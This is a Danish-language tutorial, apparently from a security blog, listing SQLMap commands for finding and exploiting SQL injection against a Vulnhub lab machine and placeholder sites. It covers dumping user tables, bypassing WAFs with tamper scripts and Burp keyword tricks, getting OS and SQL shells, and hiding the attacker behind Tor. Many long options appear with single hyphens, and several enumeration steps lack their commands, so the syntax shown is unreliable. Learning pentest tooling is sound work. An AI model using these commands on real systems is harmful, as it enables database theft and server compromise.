Vigtige SQLMap-kommandoer

SQLMap-værktøjet kan findes i enhver penetrationstests værktøjskasse. Det er et af de mest populære og kraftfulde værktøjer, når det drejer sig om at udnytte SQL-injektionssårbarheden, som i sig selv topper OWASP’s liste over de 10 største sårbarheder. Fra at bekræfte SQL-injektionssårbarheden til at udtrække databasens navn, tabeller, kolonner og få et komplet system, kan det bruges til flere formål.

I denne artikel vil vi se forskellige typer SQLMap-kommandoer, som kan være praktiske, mens vi udnytter forskellige scenarier for SQL-injektion.

SQLMap kan downloades fra følgende links:

Windows

Linux: git clone -depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Til demoformål bruger jeg denne maskine fra Vulnhub.

Lad os se på den grundlæggende brug af SQLMap-værktøjet på GET- og POST-forespørgsler.

sqlmap -u http://site-to-test.com/test.php?id=1 -p id

sqlmap -u http://site-to-test.com/test.php?id=1*

-u: URL til scanning

-p: parameter til scanning

*: Parameter til scanning (hvis -p-skiftet ikke er angivet)

POST Request

Vi kan angive de data, der overføres i POST-anmodningskroppen, til scanning af SQLMap-værktøjet.

sqlmap -u http://site-to-test.com/admin/index.php -data=”user=admin&password=admin” -p user

-data = POST-data

En anden måde er at kopiere Burp-anmodningen til en fil og sende den samme til SQLMap.

sqlmap -r <sti til forespørgselsfilen>

Lad os gå lidt længere frem for at forstå andre muligheder, som SQLMap-værktøjet tilbyder.

Scanning af POST-loginsider

Post-loginsider autoriseres af cookie-headeren, som overføres i HTTP-headeren i en GET/POST-anmodning. For at scanne postloginsiden(e) skal vi give den gyldige cookie til SQLMap.

sqlmap -u http://192.168.202.163/admin/index.php?id=1 -cookie=”cookieværdi”

/admin/index.php?id=1 er en postloginside.

Sådan er mange af siderne beskyttet af User-Agent- eller Referrer-headeren. Det samme kan indgå i kommandoen:

sqlmap -u http://192.168.202.163/admin/index.php?id=1 -user-agent=infosec

sqlmap -u http://192.168.202.163/admin/index.php?id=1 -referer= http://192.168.202.163/admin/index.php

Dertil kommer, at vi kan randomisere user-agent-headeren ved at bruge -random-agent-indstillingen.

CRAWL

Crawl er en vigtig indstilling, der gør det muligt for SQLMap-værktøjet at crawle webstedet, startende fra rodplaceringen. Dybden til crawl kan defineres i kommandoen:

sqlmap -u http://192.168.202.160/ -crawl=1

-crawl: Definer en dybde til crawl. (Eksempel: Hvis du definerer 2, vil værktøjet kunne crawle op til to mapper)

Hvis vi ønsker at udelukke en side fra crawlerens anvendelsesområde, kan vi definere med -crawl-exclude. Dette er en nyttig mulighed, når vi crawler en postloginside.

sqlmap -u http://192.168.202.163/ -crawl=3 -cookie=”cookie value” -crawl-exclude=”logout”

Denne kommando vil crawle webstedet op til tre mapper og udelukke enhver URL, hvor nøgleordet “logout” er til stede.

Som du kan se nedenfor, har SQLMap gennemtrawlet webstedet, men udelukket webadressen logout.

Lad os køre den samme kommando uden indstillingen -crawl-exclude:

Som det ses nedenfor, når -crawl-exclude ikke er defineret, har SQLMap crawlet logout-URL’en. Dette ville gøre det muligt for den eksisterende session at blive ugyldiggjort (på grund af logout) og ikke fuldføre scanningen.

SQLMap gennem proxy

Vi kan definere en proxys detaljer, hvorfra vi tillader anmodningen at passere. Hvis vi ønsker at sende anmodningen gennem et proxyværktøj som Burp, skal vi starte Burp Suite og konfigurere det til at køre på localhost på port 8080. Brug nu følgende SQLMap-kommando:

sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -proxy=”http://localhost:8080″

Tænk nu på et scenarie, hvor sqlinjection-keywords som OrderBy og Union er blacklistet på serveren. Vi kan omgå disse typer af implementeringer ved at bruge camel casing-teknikken. Vi vil bruge SQLMap til at sende trafikken til Burp og bruge Burps “match and replace”-funktion til at omgå ovenstående begrænsning.

Match and Replace-funktionen kan findes under fanen “Options” under fanen “Proxy” i Burp.

Dette vil kontrollere, om anmodningen har et nøgleord som “union”. Hvis ja, erstattes det med “UnIoN.”

I et scenarie, hvor programmet kun er tilgængeligt via en proxyserver, kan det samme defineres ved hjælp af følgende kommando:

sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -proxy=”http://localhost:8080″ -proxy-cred=brugernavn:password

Batch

Batch-kommandoen anvendes til ikke-interaktive sessioner. Når vi forsøger at scanne noget, kan SQLMap bede os om at give input under scanningen: For eksempel, mens vi bruger crawl-funktionen, spørger værktøjet brugeren, om brugeren ønsker at scanne den identificerede URL. Når -batch er defineret i kommandoen, bruger værktøjet en standardværdi til at fortsætte uden at spørge brugeren.

Form

En side-URL med et formularfelt (f.eks. en loginside) kan angives sammen med -form-indstillingen for at analysere siden og guide brugeren til at teste de identificerede felter.

Nu kan sider med et stort antal formularfelter testes effektivt ved at bruge -form- og -batch-indstillingen sammen. Dette vil analysere siden og kontrollere for formularfelter og automatisk give input på vegne af brugeren.

Hvis hele applikationen skal scannes, kan crawl-indstillingen sammen med form og switch bruges.

Threads

Med threads-indstillingen kan brugeren definere antallet af samtidige anmodninger, der skal sendes af SQLMap-værktøjet. Dette vil reducere den samlede testtid. Dette bør ikke holdes på en højere værdi, da det kan påvirke resultatets nøjagtighed.

Risiko og niveau

Risiko tillader den type nyttelast, der anvendes af værktøjet. Som standard anvendes værdien 1, og det kan konfigureres op til niveau 3. Niveau 3, der er det maksimale, omfatter nogle tunge SQL-forespørgsler.

Niveauet definerer antallet af kontroller/payload, der skal udføres. Værdien spænder fra 1 til 5. 5, som er det maksimale, omfatter et stort antal nyttelaster i scanningen.

Risikoen og niveauet anbefales at blive øget, hvis SQLMap ikke er i stand til at opdage injektionen i standardindstillingerne.

Verbose

Hvis vi ønsker at se den nyttelast, der sendes af værktøjet, kan vi bruge verbose-indstillingen. Værdierne spænder fra 1 til 6.

Database Enumeration

Som vi ved, at SQLMap hovedsageligt bruges til udnyttelse af SQL-injektion, så lad os se nogle af kommandoerne til at opregne databasen gennem et program, der er sårbart over for SQL-injektion.

1. -dbs: Denne indstilling bruges til at opregne databasen.

2. Nu har vi databasens navn. For at udtrække tabellen for databasen “photoblog” skal du køre følgende kommando:

3. Hvis du vil udtrække kolonneoplysningerne fra tabellen “users”, skal du køre følgende kommando:

4. Hvis du vil dumpe dataene for tabellen “users”, skal du bruge kommandoen -dump:

5. Sådan identificeres den aktuelle databasebruger:

6. Sådan identificeres det aktuelle databasenavn:

7. Sådan identificeres privilegier, roller, og om den aktuelle DB-bruger er DB-administrator:

Bypassing WAF Using Tamper Script

Mange gange støder vi på et scenarie, hvor applikationen holdes bag webapplikationsfirewallen (WAF). For at kontrollere, om webstedet er beskyttet af WAF, kan vi bruge følgende muligheder:

-identificer-waf

Når WAF’en er identificeret, kan vi bruge tamper-scriptet til at angribe de WAF-beskyttede programmer. Tamper-scriptet kan ændre anmodningen for at undgå WAF-detektion. Skripterne findes under /usr/share/sqlmap/tamper/-mappen.

Kørsel af systemkommandoer

Vi kan køre kommandoer på OS/systemniveau, hvis den aktuelle databasebruger har DBA-rettigheder. Vi kan bruge følgende indstillinger:

Til en Linux-server:

sqlmap -u http://192.168.202.162/cat.php?id=1 -os-shell

Til en Windows-server:

sqlmap -u http://192.168.202.162/cat.php?id=1 -os-cmd <cmd>

Kørsel af SQL-forespørgsler

Vi kan køre SQL-angivelsen på databasen ved at køre følgende kommandoer:

sqlmap -u 192.168.202.164/cat.php?id=2 -sql-shell

Andre muligheder

Nogle andre muligheder omfatter:

1. Scanning af en side, der er beskyttet af HTTP-godkendelse som Basic, NTLM og Digest:

sqlmap -u http://example.com/admin.aspx -auth-type Basic -auth-cred “admin:admin”

2. Scanning af en side, der er beskyttet af en nøglebaseret godkendelse

sqlmap -u http://example.com/admin.aspx -auth-file=<sti til PEM-certifikat eller privat nøglefil>

3. For at randomisere angribende IP’er (dette kan hjælpe i tilfælde som WAF-detektion, eller når det vil gøre det vanskeligere at spore IP’en at skjule angribende kilde).

For at bruge standardnetværket Tor-anonymitet:

sqlmap -u http://example.com/admin.aspx -tor

For at definere en Tor-port:

sqlmap -u http://example.com/admin.aspx -tor-port=<tor proxyport>

4. Hvis der kræves en forsinkelse mellem hver HTTP-anmodning:

sqlmap -u http://example.com/admin.aspx -delay=1 #1 sekund forsinkelse

5. Hvis en side er beskyttet af et CSRF-token, kan vi inkludere det samme i kommandoen:

sqlmap -u http://example.com/admin.aspx -csrf-token=<csrf-token>

Second-Order SQL-injektion: I denne type SQL-injektion gemmes SQL-payloadet i databasen og hentes senere, når der tilgås en anden side. Vi giver en URL, som SQLMap-værktøjet vil anmode om efter hver injektion. Vi kan instruere SQLMap-værktøjet om at teste denne injektion ved at bruge følgende kommandoer:

sqlmap -r /root/Desktop/Burp.txt -second-order “http://target/vulnerbalepage.php”

The Burp.txt-filen indeholder den anmodning, som injektionen skal udføres på.

-second-order “URL” indeholder den URL, som SQLMap vil få adgang til efter hver injektion.

Konklusion

Skriv et svar

Din e-mailadresse vil ikke blive publiceret.